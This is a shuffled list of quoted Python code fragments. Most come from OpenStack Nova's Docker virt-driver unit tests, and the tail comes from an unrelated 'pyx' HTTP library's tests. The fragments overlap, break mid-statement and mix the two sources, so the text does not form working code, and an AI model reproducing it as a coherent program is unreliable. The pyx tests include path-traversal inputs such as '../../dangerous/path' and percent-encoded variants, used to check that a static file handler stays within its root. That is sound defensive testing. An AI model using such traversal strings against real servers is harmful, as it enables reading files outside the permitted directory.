"the # License for the specific language governing permissions and",
"image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw' image_info['container_format'] = 'docker'",
"('[[\"i686\", \"docker\", \"lxc\"],' ' [\"x86_64\", \"docker\", \"lxc\"]]') } self.assertEqual(expected_stats, stats)",
"# # Unless required by applicable law or agreed to",
"'teardown_network') @mock.patch.object(nova.virt.docker.driver.DockerDriver, 'find_container_by_name', return_value={'id': 'fake_id'}) def test_destroy_container(self, byname_mock, teardown_mock): instance",
"'herp', network_info=network_info) return instance_ref, network_info def test_get_host_stats(self): self.mox.StubOutWithMock(socket, 'gethostname') socket.gethostname().AndReturn('foo')",
"vcpus=4): container_id = self.connection.find_container_by_name( instance_href['name']).get('id') container_info = self.connection.docker.inspect_container(container_id) self.assertEqual(vcpus *",
"instance = utils.get_test_instance(obj=True) limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 * units.Mi, limit)",
"= utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw' image_info['container_format'] = 'invalid_format' self.assertRaises(exception.InstanceDeployFailure,",
"self.assertRaises(exception.InstanceDeployFailure, self.test_create_container, image_info) @mock.patch.object(network, 'teardown_network') @mock.patch.object(nova.virt.docker.driver.DockerDriver, 'find_container_by_name', return_value={'id': 'fake_id'}) def",
"'_get_registry_port', fake_get_registry_port) # Note: using mock.object.path on class throws #",
"to make sure the method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.plug_vifs, instance=utils.get_test_instance(),",
"* units.Mi, 'free': 3 * units.Mi, 'used': 1 * units.Mi",
"2.0 (the \"License\"); you may # not use this file",
"mock.patch.object(hostinfo, 'get_memory_usage', return_value=memory), mock.patch.object(hostinfo, 'get_disk_usage', return_value=disk) ) as ( get_memory_usage,",
"run the code stats = self.connection.get_available_resource(nodename='test') # make our assertions",
"class throws # errors in test_virt_drivers def fake_teardown_network(container_id): return self.stubs.Set(network,",
"utils import nova.tests.virt.docker.mock_client from nova.tests.virt.test_virt_drivers import _VirtDriverTestCase from nova.virt.docker import",
"= \\ '1.1.1.1' image_info = utils.get_test_image_info(None, instance_ref) image_info['disk_format'] = 'raw'",
"[\"x86_64\", \"docker\", \"lxc\"]]') } self.assertEqual(expected_stats, stats) def test_plug_vifs(self): # Check",
"nova.virt.docker import network class DockerDriverTestCase(_VirtDriverTestCase, test.TestCase): driver_module = 'nova.virt.docker.DockerDriver' def",
"exception from nova.openstack.common import jsonutils from nova.openstack.common import units from",
"class DockerDriverTestCase(_VirtDriverTestCase, test.TestCase): driver_module = 'nova.virt.docker.DockerDriver' def setUp(self): super(DockerDriverTestCase, self).setUp()",
"units.Mi, limit) def test_get_memory_limit_from_sys_meta_in_db_instance(self): instance = utils.get_test_instance(obj=False) limit = self.connection._get_memory_limit_bytes(instance)",
"def _get_running_instance(self, obj=False): instance_ref = utils.get_test_instance(obj=obj) network_info = utils.get_test_network_info() network_info[0]['network']['subnets'][0]['meta']['dhcp_server']",
"because _get_running_instance on the # base class will not let",
"by applicable law or agreed to in writing, software #",
"_VirtDriverTestCase from nova.virt.docker import hostinfo from nova.virt.docker import network class",
"jsonutils.to_primitive(instance_ref), image_info, [], 'herp', network_info=network_info) return instance_ref, network_info def test_get_host_stats(self):",
"import jsonutils from nova.openstack.common import units from nova import test",
"test_virt_drivers def fake_teardown_network(container_id): return self.stubs.Set(network, 'teardown_network', fake_teardown_network) self.context = context.RequestContext('fake_user',",
"1, 'local_gb': 50L, 'local_gb_used': 25L, 'disk_available_least': 25L, 'hypervisor_type': 'docker', 'hypervisor_version':",
"self.connection.plug_vifs, instance=utils.get_test_instance(), network_info=None) def test_unplug_vifs(self): # Check to make sure",
"'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files', 'fake_password') self._assert_cpu_shares(instance_href,",
"BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either",
") as ( get_memory_usage, get_disk_usage ): # run the code",
"return_value=disk) ) as ( get_memory_usage, get_disk_usage ): # run the",
"a custom disk/container_format. def _get_running_instance(self, obj=False): instance_ref = utils.get_test_instance(obj=obj) network_info",
"): # run the code stats = self.connection.get_available_resource(nodename='test') # make",
"'hypervisor_hostname': 'test', 'cpu_info': '?', 'supported_instances': ('[[\"i686\", \"docker\", \"lxc\"],' ' [\"x86_64\",",
"* 1024, container_info['Config']['CpuShares']) def test_create_container_wrong_image(self): instance_href = utils.get_test_instance() image_info =",
"self).setUp() self.stubs.Set(nova.virt.docker.driver.DockerDriver, 'docker', nova.tests.virt.docker.mock_client.MockClient()) def fake_setup_network(self, instance, network_info): return self.stubs.Set(nova.virt.docker.driver.DockerDriver,",
"def test_get_memory_limit_from_sys_meta_in_object(self): instance = utils.get_test_instance(obj=True) limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 *",
"def fake_teardown_network(container_id): return self.stubs.Set(network, 'teardown_network', fake_teardown_network) self.context = context.RequestContext('fake_user', 'fake_project')",
"'teardown_network', fake_teardown_network) self.context = context.RequestContext('fake_user', 'fake_project') def test_driver_capabilities(self): self.assertFalse(self.connection.capabilities['has_imagecache']) self.assertFalse(self.connection.capabilities['supports_recreate'])",
"let us set a custom disk/container_format. def _get_running_instance(self, obj=False): instance_ref",
"self.context = context.RequestContext('fake_user', 'fake_project') def test_driver_capabilities(self): self.assertFalse(self.connection.capabilities['has_imagecache']) self.assertFalse(self.connection.capabilities['supports_recreate']) #NOTE(bcwaldon): This",
"image_info['disk_format'] = 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.ctxt, jsonutils.to_primitive(instance_ref), image_info, [],",
"* units.Mi } disk = { 'total': 50 * units.Gi,",
"# # Copyright (c) 2013 dotCloud, Inc. # All Rights",
"instance_href) image_info['disk_format'] = 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.context, instance_href, image_info,",
"@mock.patch.object(network, 'teardown_network') @mock.patch.object(nova.virt.docker.driver.DockerDriver, 'find_container_by_name', return_value={'id': 'fake_id'}) def test_destroy_container(self, byname_mock, teardown_mock):",
"= self.connection.docker.inspect_container(container_id) self.assertEqual(vcpus * 1024, container_info['Config']['CpuShares']) def test_create_container_wrong_image(self): instance_href =",
"= 'docker' self.connection.spawn(self.ctxt, jsonutils.to_primitive(instance_ref), image_info, [], 'herp', network_info=network_info) return instance_ref,",
"only because _get_running_instance on the # base class will not",
"may obtain # a copy of the License at #",
"# All Rights Reserved. # # Licensed under the Apache",
"fake_teardown_network(container_id): return self.stubs.Set(network, 'teardown_network', fake_teardown_network) self.context = context.RequestContext('fake_user', 'fake_project') def",
"2 }) instance_href = utils.get_test_instance(flavor=flavor) if image_info is None: image_info",
"= utils.get_test_instance(flavor=flavor) if image_info is None: image_info = utils.get_test_image_info(None, instance_href)",
"utils.get_test_instance() image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw' image_info['container_format'] =",
"Unless required by applicable law or agreed to in writing,",
"= utils.get_test_instance() image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw' image_info['container_format']",
"( get_memory_usage, get_disk_usage ): # run the code stats =",
"instance_href['name']).get('id') container_info = self.connection.docker.inspect_container(container_id) self.assertEqual(vcpus * 1024, container_info['Config']['CpuShares']) def test_create_container_wrong_image(self):",
"# under the License. import contextlib import socket import mock",
"instance = utils.get_test_instance(obj=False) limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 * units.Mi, limit)",
"import mock from nova import context from nova import exception",
"utils.get_test_flavor(options={ 'name': 'vcpu_2', 'flavorid': 'vcpu_2', 'vcpus': 2 }) instance_href =",
"'hypervisor_version': 1000, 'hypervisor_hostname': 'test', 'cpu_info': '?', 'supported_instances': ('[[\"i686\", \"docker\", \"lxc\"],'",
"test_get_host_stats(self): self.mox.StubOutWithMock(socket, 'gethostname') socket.gethostname().AndReturn('foo') socket.gethostname().AndReturn('bar') self.mox.ReplayAll() self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) self.assertEqual('foo', self.connection.get_host_stats()['host_hostname'])",
"the code stats = self.connection.get_available_resource(nodename='test') # make our assertions get_memory_usage.assert_called_once_with()",
"not let us set a custom disk/container_format. def _get_running_instance(self, obj=False):",
"applicable law or agreed to in writing, software # distributed",
"OF ANY KIND, either express or implied. See the #",
"'<PASSWORD>_password') self._assert_cpu_shares(instance_href) def test_create_container_vcpus_2(self, image_info=None): flavor = utils.get_test_flavor(options={ 'name': 'vcpu_2',",
"network_info=None) def test_unplug_vifs(self): # Check to make sure the method",
"network class DockerDriverTestCase(_VirtDriverTestCase, test.TestCase): driver_module = 'nova.virt.docker.DockerDriver' def setUp(self): super(DockerDriverTestCase,",
"WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express",
"in writing, software # distributed under the License is distributed",
"code stats = self.connection.get_available_resource(nodename='test') # make our assertions get_memory_usage.assert_called_once_with() get_disk_usage.assert_called_once_with()",
"self.connection.spawn(self.context, instance_href, image_info, 'fake_files', 'fake_password') self._assert_cpu_shares(instance_href, vcpus=2) def _assert_cpu_shares(self, instance_href,",
"50L, 'local_gb_used': 25L, 'disk_available_least': 25L, 'hypervisor_type': 'docker', 'hypervisor_version': 1000, 'hypervisor_hostname':",
"make sure the method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.unplug_vifs, instance=utils.get_test_instance(), network_info=None)",
"image_info['container_format'] = 'invalid_format' self.assertRaises(exception.InstanceDeployFailure, self.test_create_container, image_info) @mock.patch.object(network, 'teardown_network') @mock.patch.object(nova.virt.docker.driver.DockerDriver, 'find_container_by_name',",
"limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 * units.Mi, limit) def test_get_memory_limit_from_sys_meta_in_db_instance(self): instance",
"disk = { 'total': 50 * units.Gi, 'available': 25 *",
"sure the method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.unplug_vifs, instance=utils.get_test_instance(), network_info=None) def",
"import network class DockerDriverTestCase(_VirtDriverTestCase, test.TestCase): driver_module = 'nova.virt.docker.DockerDriver' def setUp(self):",
"1000, 'hypervisor_hostname': 'test', 'cpu_info': '?', 'supported_instances': ('[[\"i686\", \"docker\", \"lxc\"],' '",
"network_info = utils.get_test_network_info() network_info[0]['network']['subnets'][0]['meta']['dhcp_server'] = \\ '1.1.1.1' image_info = utils.get_test_image_info(None,",
"to make sure the method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.unplug_vifs, instance=utils.get_test_instance(),",
"'nova.virt.docker.DockerDriver' def setUp(self): super(DockerDriverTestCase, self).setUp() self.stubs.Set(nova.virt.docker.driver.DockerDriver, 'docker', nova.tests.virt.docker.mock_client.MockClient()) def fake_setup_network(self,",
"throws # errors in test_virt_drivers def fake_teardown_network(container_id): return self.stubs.Set(network, 'teardown_network',",
"context from nova import exception from nova.openstack.common import jsonutils from",
"{ 'vcpus': 1, 'vcpus_used': 0, 'memory_mb': 4, 'memory_mb_used': 1, 'local_gb':",
"either express or implied. See the # License for the",
"errors in test_virt_drivers def fake_teardown_network(container_id): return self.stubs.Set(network, 'teardown_network', fake_teardown_network) self.context",
"'memory_mb_used': 1, 'local_gb': 50L, 'local_gb_used': 25L, 'disk_available_least': 25L, 'hypervisor_type': 'docker',",
"copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #",
"limit) def test_get_memory_limit_from_sys_meta_in_db_instance(self): instance = utils.get_test_instance(obj=False) limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048",
"may # not use this file except in compliance with",
"expected_stats = { 'vcpus': 1, 'vcpus_used': 0, 'memory_mb': 4, 'memory_mb_used':",
"# License for the specific language governing permissions and limitations",
"with the License. You may obtain # a copy of",
"nova.openstack.common import units from nova import test from nova.tests import",
"'hypervisor_type': 'docker', 'hypervisor_version': 1000, 'hypervisor_hostname': 'test', 'cpu_info': '?', 'supported_instances': ('[[\"i686\",",
"you may # not use this file except in compliance",
"self.connection.get_host_stats()['host_hostname']) self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) def test_get_available_resource(self): memory = { 'total': 4",
"under the License. import contextlib import socket import mock from",
"\"docker\", \"lxc\"]]') } self.assertEqual(expected_stats, stats) def test_plug_vifs(self): # Check to",
"'fake_networkinfo') byname_mock.assert_called_once_with(instance['name']) teardown_mock.assert_called_with('fake_id') def test_get_memory_limit_from_sys_meta_in_object(self): instance = utils.get_test_instance(obj=True) limit =",
"* units.Gi, 'used': 25 * units.Gi } # create the",
"network_info def test_get_host_stats(self): self.mox.StubOutWithMock(socket, 'gethostname') socket.gethostname().AndReturn('foo') socket.gethostname().AndReturn('bar') self.mox.ReplayAll() self.assertEqual('foo', self.connection.get_host_stats()['host_hostname'])",
"'_setup_network', fake_setup_network) def fake_get_registry_port(self): return 5042 self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_get_registry_port', fake_get_registry_port) #",
"= 'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files', 'fake_password') self._assert_cpu_shares(instance_href, vcpus=2) def",
"# base class will not let us set a custom",
"'total': 4 * units.Mi, 'free': 3 * units.Mi, 'used': 1",
"network_info=network_info) return instance_ref, network_info def test_get_host_stats(self): self.mox.StubOutWithMock(socket, 'gethostname') socket.gethostname().AndReturn('foo') socket.gethostname().AndReturn('bar')",
"' [\"x86_64\", \"docker\", \"lxc\"]]') } self.assertEqual(expected_stats, stats) def test_plug_vifs(self): #",
"# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or",
"sure the method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.plug_vifs, instance=utils.get_test_instance(), network_info=None) def",
"# WARRANTIES OR CONDITIONS OF ANY KIND, either express or",
"stats = self.connection.get_available_resource(nodename='test') # make our assertions get_memory_usage.assert_called_once_with() get_disk_usage.assert_called_once_with() expected_stats",
"'?', 'supported_instances': ('[[\"i686\", \"docker\", \"lxc\"],' ' [\"x86_64\", \"docker\", \"lxc\"]]') }",
"self.connection.spawn(self.context, instance_href, image_info, 'fake_files', '<PASSWORD>_password') self._assert_cpu_shares(instance_href) def test_create_container_vcpus_2(self, image_info=None): flavor",
"the License is distributed on an \"AS IS\" BASIS, WITHOUT",
"= context.RequestContext('fake_user', 'fake_project') def test_driver_capabilities(self): self.assertFalse(self.connection.capabilities['has_imagecache']) self.assertFalse(self.connection.capabilities['supports_recreate']) #NOTE(bcwaldon): This exists",
"self.connection.get_host_stats()['host_hostname']) def test_get_available_resource(self): memory = { 'total': 4 * units.Mi,",
"set a custom disk/container_format. def _get_running_instance(self, obj=False): instance_ref = utils.get_test_instance(obj=obj)",
"# Check to make sure the method raises NotImplementedError. self.assertRaises(NotImplementedError,",
"the License. import contextlib import socket import mock from nova",
"2013 dotCloud, Inc. # All Rights Reserved. # # Licensed",
"{ 'total': 50 * units.Gi, 'available': 25 * units.Gi, 'used':",
"import nova.tests.virt.docker.mock_client from nova.tests.virt.test_virt_drivers import _VirtDriverTestCase from nova.virt.docker import hostinfo",
"a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #",
"the method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.plug_vifs, instance=utils.get_test_instance(), network_info=None) def test_unplug_vifs(self):",
"nova.tests.virt.docker.mock_client from nova.tests.virt.test_virt_drivers import _VirtDriverTestCase from nova.virt.docker import hostinfo from",
"stats) def test_plug_vifs(self): # Check to make sure the method",
"instance_ref) image_info['disk_format'] = 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.ctxt, jsonutils.to_primitive(instance_ref), image_info,",
"test_get_memory_limit_from_sys_meta_in_object(self): instance = utils.get_test_instance(obj=True) limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 * units.Mi,",
"self.connection.unplug_vifs, instance=utils.get_test_instance(), network_info=None) def test_create_container(self, image_info=None): instance_href = utils.get_test_instance() if",
"for the specific language governing permissions and limitations # under",
"method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.unplug_vifs, instance=utils.get_test_instance(), network_info=None) def test_create_container(self, image_info=None):",
"= 'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files', '<PASSWORD>_password') self._assert_cpu_shares(instance_href) def test_create_container_vcpus_2(self,",
"nova import context from nova import exception from nova.openstack.common import",
"'local_gb_used': 25L, 'disk_available_least': 25L, 'hypervisor_type': 'docker', 'hypervisor_version': 1000, 'hypervisor_hostname': 'test',",
"return instance_ref, network_info def test_get_host_stats(self): self.mox.StubOutWithMock(socket, 'gethostname') socket.gethostname().AndReturn('foo') socket.gethostname().AndReturn('bar') self.mox.ReplayAll()",
"'vcpus': 1, 'vcpus_used': 0, 'memory_mb': 4, 'memory_mb_used': 1, 'local_gb': 50L,",
"except in compliance with the License. You may obtain #",
"utils.get_test_instance(flavor=flavor) if image_info is None: image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format']",
"language governing permissions and limitations # under the License. import",
"License. You may obtain # a copy of the License",
"instance=utils.get_test_instance(), network_info=None) def test_unplug_vifs(self): # Check to make sure the",
"image_info['container_format'] = 'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files', 'fake_password') self._assert_cpu_shares(instance_href, vcpus=2)",
"NotImplementedError. self.assertRaises(NotImplementedError, self.connection.unplug_vifs, instance=utils.get_test_instance(), network_info=None) def test_create_container(self, image_info=None): instance_href =",
"ANY KIND, either express or implied. See the # License",
"# distributed under the License is distributed on an \"AS",
"# Unless required by applicable law or agreed to in",
"socket import mock from nova import context from nova import",
"image_info, [], 'herp', network_info=network_info) return instance_ref, network_info def test_get_host_stats(self): self.mox.StubOutWithMock(socket,",
"def test_driver_capabilities(self): self.assertFalse(self.connection.capabilities['has_imagecache']) self.assertFalse(self.connection.capabilities['supports_recreate']) #NOTE(bcwaldon): This exists only because _get_running_instance",
"is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES",
"= utils.get_test_instance(obj=obj) network_info = utils.get_test_network_info() network_info[0]['network']['subnets'][0]['meta']['dhcp_server'] = \\ '1.1.1.1' image_info",
"container_id = self.connection.find_container_by_name( instance_href['name']).get('id') container_info = self.connection.docker.inspect_container(container_id) self.assertEqual(vcpus * 1024,",
"1 * units.Mi } disk = { 'total': 50 *",
"network_info): return self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_setup_network', fake_setup_network) def fake_get_registry_port(self): return 5042 self.stubs.Set(nova.virt.docker.driver.DockerDriver,",
"# create the mocks with contextlib.nested( mock.patch.object(hostinfo, 'get_memory_usage', return_value=memory), mock.patch.object(hostinfo,",
"5042 self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_get_registry_port', fake_get_registry_port) # Note: using mock.object.path on class",
"base class will not let us set a custom disk/container_format.",
"test_destroy_container(self, byname_mock, teardown_mock): instance = utils.get_test_instance() self.connection.destroy(self.context, instance, 'fake_networkinfo') byname_mock.assert_called_once_with(instance['name'])",
"custom disk/container_format. def _get_running_instance(self, obj=False): instance_ref = utils.get_test_instance(obj=obj) network_info =",
"contextlib.nested( mock.patch.object(hostinfo, 'get_memory_usage', return_value=memory), mock.patch.object(hostinfo, 'get_disk_usage', return_value=disk) ) as (",
"'cpu_info': '?', 'supported_instances': ('[[\"i686\", \"docker\", \"lxc\"],' ' [\"x86_64\", \"docker\", \"lxc\"]]')",
"This exists only because _get_running_instance on the # base class",
"mock from nova import context from nova import exception from",
"or implied. See the # License for the specific language"
] |
[
"req._parse_req_line( b'GET /some/path?some=query&some_other=query HTTP/1.1\\r\\n') self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/some/path') self.assertEqual(req.query, 'some=query&some_other=query')",
"resp.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Connection', 'keep-alive') ] self.assertEqual(resp.write(), ['HTTP/1.1",
"req = http.HttpRequest(conn) return req class TestHttpMessage(unittest.TestCase): def test_get_header(self): msg",
"self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' \\t : pyx') def test_parse(self): loop = asyncio.get_event_loop()",
"create_dummy_connection(): loop = asyncio.get_event_loop() reader = asyncio.StreamReader(loop=loop) @asyncio.coroutine def dummy_drain():",
"create_dummy_connection() reader = conn.reader reader.feed_data( b'GET /?q=p&s=t HTTP/1.1\\r\\n' b'Host: localhost\\r\\n'",
"msg.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Cookie', 'a'), http.HttpHeader('Cookie', 'b'), ]",
"= create_dummy_request() req._parse_req_line(b'POST / HTTP/1.1\\r\\n') self.assertEqual(req.method, 'POST') self.assertEqual(req.path, '/') self.assertTrue(req.query",
"[\"a\", \"b\"]) self.assertEqual(msg.get_first_header(\"cookie\"), \"a\") self.assertTrue(msg.get_first_header(\"pragma\") is None) def test_write_headers(self): msg",
"test_parse(self): loop = asyncio.get_event_loop() conn = create_dummy_connection() reader = conn.reader",
"http.HttpRequest(conn) return req class TestHttpMessage(unittest.TestCase): def test_get_header(self): msg = create_dummy_message()",
"= [] self.assertEqual(msg.write_headers(), []) class TestHttpRequest(unittest.TestCase): def test_parse_req_line(self): req =",
"asyncio.sleep(0.001) writer = mock.Mock(spec=asyncio.StreamWriter) writer.attach_mock(mock.Mock(wraps=dummy_drain), 'drain') conn = http.HttpConnection(reader, writer)",
"'POST') self.assertEqual(req.path, '/') self.assertTrue(req.query is None) self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1,",
"= http.HttpResponse(200, None) resp.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Connection', 'keep-alive')",
"with self.assertRaises(NotImplementedError): res.traverse('/hello') req = create_dummy_request() with self.assertRaises(NotImplementedError): res.handle_request(req) class",
"writer = mock.Mock(spec=asyncio.StreamWriter) writer.attach_mock(mock.Mock(wraps=dummy_drain), 'drain') conn = http.HttpConnection(reader, writer) return",
"res) with self.assertRaises(http.HttpError): res.traverse('/does/not/exist') sres = res.traverse('/static') self.assertEqual(sres.root, '.') self.assertEqual(sres._build_real_path(),",
"self.assertEqual(msg.get_header(\"cookie\"), [\"a\", \"b\"]) self.assertEqual(msg.get_first_header(\"cookie\"), \"a\") self.assertTrue(msg.get_first_header(\"pragma\") is None) def test_write_headers(self):",
"['Server: Pyx', 'Cookie: a', 'Cookie: b']) msg.headers = [] self.assertEqual(msg.write_headers(),",
"self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET / GARBAGE\\r\\n') req._parse_req_line(b'GET / HTTP/1\\r\\n') self.assertEqual(req.version, (1, 0))",
"= [] with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'Server\\r\\n') req.headers = [] req._parse_header(b'Server:\\r\\n') self.assertEqual(req.headers,",
"self.assertEqual(sres.root, '.') self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/') self.assertEqual(sres._build_real_path(), '.') sres",
"req._parse_header(b'Server\\r\\n') req.headers = [] req._parse_header(b'Server:\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers =",
"= create_dummy_connection() req = http.HttpRequest(conn) return req class TestHttpMessage(unittest.TestCase): def",
"HTTP/1.1\\r\\n') self.assertEqual(req.method, 'POST') self.assertEqual(req.path, '/') self.assertTrue(req.query is None) self.assertEqual(req.protocol, 'HTTP')",
"http.HttpMessage(None) msg.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Cookie', 'a'), http.HttpHeader('Cookie', 'b'),",
"res = res.traverse('/some/long/path/where/ever/it/leads/') self.assertEqual(res._build_real_path(), 'local_root/some/long/path/where/ever/it/leads') res = http.StaticRootResource('local_root') res =",
"asyncio.get_event_loop() reader = asyncio.StreamReader(loop=loop) @asyncio.coroutine def dummy_drain(): yield from asyncio.sleep(0.001)",
"'local_root/dangerous/path') res = http.StaticRootResource('local_root') res = res.traverse('/some/../../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res",
"http.HttpHeader('Host', 'localhost'), http.HttpHeader('Connection', 'Keep-Alive'), http.HttpHeader('Pragma', 'Test'), ]) def test_respond(self): req",
"'Cookie: a', 'Cookie: b']) msg.headers = [] self.assertEqual(msg.write_headers(), []) class",
"self.assertEqual(req.version, (1, 1)) req._parse_req_line( b'GET /some/path?some=query&some_other=query HTTP/1.1\\r\\n') self.assertEqual(req.method, 'GET') self.assertEqual(req.path,",
"'localhost'), http.HttpHeader('Connection', 'Keep-Alive'), http.HttpHeader('Pragma', 'Test'), ]) def test_respond(self): req =",
"[] self.assertEqual(msg.write_headers(), []) class TestHttpRequest(unittest.TestCase): def test_parse_req_line(self): req = create_dummy_request()",
"self.assertEqual(req.headers, [ http.HttpHeader('Host', 'localhost'), http.HttpHeader('Connection', 'Keep-Alive'), http.HttpHeader('Pragma', 'Test'), ]) def",
"self.assertEqual(req.version, (1, 0)) def test_parse_header(self): req = create_dummy_request() req._parse_header(b'Server: Pyx\\r\\n')",
"= [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Content-Length', '100'), http.HttpHeader('Content-Type', 'text/plain'), ] loop.run_until_complete(resp.send())",
"None) self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1)) req._parse_req_line( b'GET /some/path?some=query&some_other=query HTTP/1.1\\r\\n')",
"self.assertRaises(NotImplementedError): res.handle_request(req) class TestStaticRootResource(unittest.TestCase): def test_build_real_path(self): res = http.StaticRootResource('local_root') res",
"msg def create_dummy_connection(): loop = asyncio.get_event_loop() reader = asyncio.StreamReader(loop=loop) @asyncio.coroutine",
"'Test'), ]) def test_respond(self): req = create_dummy_request() req.version = (1,",
"res) self.assertEqual(res.traverse('/'), res) self.assertEqual(res.traverse('/hello'), res) with self.assertRaises(http.HttpError): res.traverse('/does/not/exist') sres =",
"http.HttpHeader('Connection', 'keep-alive') ] self.assertEqual(resp.write(), ['HTTP/1.1 200 OK', 'Server: Pyx', 'Connection:",
"is None) self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1)) req._parse_req_line( b'GET /some/path?some=query&some_other=query",
"[http.HttpHeader('Server', '')]) req.headers = [] req._parse_header(b'Server: \\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')])",
"] return msg def create_dummy_connection(): loop = asyncio.get_event_loop() reader =",
"None) resp.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Connection', 'keep-alive') ] self.assertEqual(resp.write(),",
"= create_dummy_request() resp = req.respond(200) self.assertEqual(resp.code, 200) self.assertFalse(req.responded) resp.headers =",
"msg.headers = [] self.assertEqual(msg.write_headers(), []) class TestHttpRequest(unittest.TestCase): def test_parse_req_line(self): req",
"create_dummy_message() self.assertEqual(msg.write_headers(), ['Server: Pyx', 'Cookie: a', 'Cookie: b']) msg.headers =",
"'')]) req.headers = [] req._parse_header(b'Server: \\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers",
"= req.respond(200) loop.run_until_complete(resp.send()) self.assertTrue(req.responded) loop.run_until_complete(resp.send_body(b'Yes, this is the body.')) resp.connection.writer.write.assert_called_with(b'Yes,",
"= res.traverse('/static') self.assertEqual(sres.root, '.') self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/') self.assertEqual(sres._build_real_path(),",
"yield from asyncio.sleep(0.001) writer = mock.Mock(spec=asyncio.StreamWriter) writer.attach_mock(mock.Mock(wraps=dummy_drain), 'drain') conn =",
"writer) return conn def create_dummy_request(): conn = create_dummy_connection() req =",
"self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers = [] req._parse_header(b'Host: some.badasshost.com:8080\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Host',",
"key == \"static\": return http.StaticRootResource('.') else: raise http.HttpError(404, '{} not",
"200) self.assertEqual(resp.version, (1, 1)) req.version = (1, 0) resp =",
"req._parse_header(b' \\t : pyx') def test_parse(self): loop = asyncio.get_event_loop() conn",
"= res.traverse('/some/../../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root') res = res.traverse('/some/%2e%2e%2f%2e%2e/dangerous/path')",
"[] with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'Server\\r\\n') req.headers = [] req._parse_header(b'Server:\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server',",
"req._parse_header(b' : pyx') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' \\t : pyx') def",
"def test_respond(self): req = create_dummy_request() req.version = (1, 1) resp",
"with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' : pyx') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' \\t :",
"msg = http.HttpMessage(None) msg.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Cookie', 'a'),",
"is the body.')) resp.connection.writer.write.assert_called_with(b'Yes, this is the body.') loop.run_until_complete(resp.send_body('This is",
"import pyx.http as http def create_dummy_message(): msg = http.HttpMessage(None) msg.headers",
"def test_send(self): loop = asyncio.get_event_loop() req = create_dummy_request() resp =",
"http.HttpHeader('Cookie', 'a'), http.HttpHeader('Cookie', 'b'), ] return msg def create_dummy_connection(): loop",
"create_dummy_request() req._parse_req_line(b'POST / HTTP/1.1\\r\\n') self.assertEqual(req.method, 'POST') self.assertEqual(req.path, '/') self.assertTrue(req.query is",
"body.') class DummyResource(http.UrlResource): def get_child(self, key): if key == 'hello':",
"[ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Connection', 'keep-alive') ] self.assertEqual(resp.write(), ['HTTP/1.1 200 OK',",
"asyncio.get_event_loop() req = create_dummy_request() resp = req.respond(200) self.assertEqual(resp.code, 200) self.assertFalse(req.responded)",
"self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/') self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/some/path')",
